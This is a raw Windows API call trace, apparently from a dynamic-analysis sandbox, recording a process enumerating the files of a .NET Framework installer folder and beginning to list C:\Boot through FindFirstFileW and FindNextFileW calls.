	[0070.886] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1
	[0070.886] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1
	[0070.886] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1
	[0070.886] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1
	[0070.887] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1
	[0070.887] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1
	[0070.887] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1
	[0070.887] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1
	[0070.887] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1
	[0070.887] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1
	[0070.887] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1
	[0070.888] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1
	[0070.888] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1
	[0070.888] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1
	[0070.888] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1
	[0070.888] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0
	[0070.888] FindClose (in: hFindFile=0x31213d0 | out: hFindFile=0x31213d0) returned 1
	[0070.889] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0070.914] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp", cAlternateFileName="")) returned 1
	[0070.914] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1
	[0070.914] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1
	[0070.914] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1
	[0070.915] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1
	[0070.915] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1
	[0070.915] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1
	[0070.915] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0070.915] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1
	[0070.916] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1
	[0070.916] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe", cAlternateFileName="")) returned 1
	[0070.916] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1
	[0070.916] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1
	[0070.916] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1
	[0070.916] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1
	[0070.917] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1
	[0070.917] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0070.917] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml", cAlternateFileName="")) returned 1
	[0070.917] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0070.917] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1
	[0070.918] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1
	[0070.918] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1
	[0070.918] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1
	[0070.918] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1
	[0070.918] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0
	[0070.918] FindClose (in: hFindFile=0x519518 | out: hFindFile=0x519518) returned 1
	[0070.918] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x30f0948 | out: hHeap=0x500000) returned 1
	[0070.918] FindNextFileW (in: hFindFile=0x519958, lpFindFileData=0x2e8fcf8 | out: lpFindFileData=0x2e8fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77850000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0070.919] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x30f0948
	[0070.919] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x3121790
	[0070.940] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
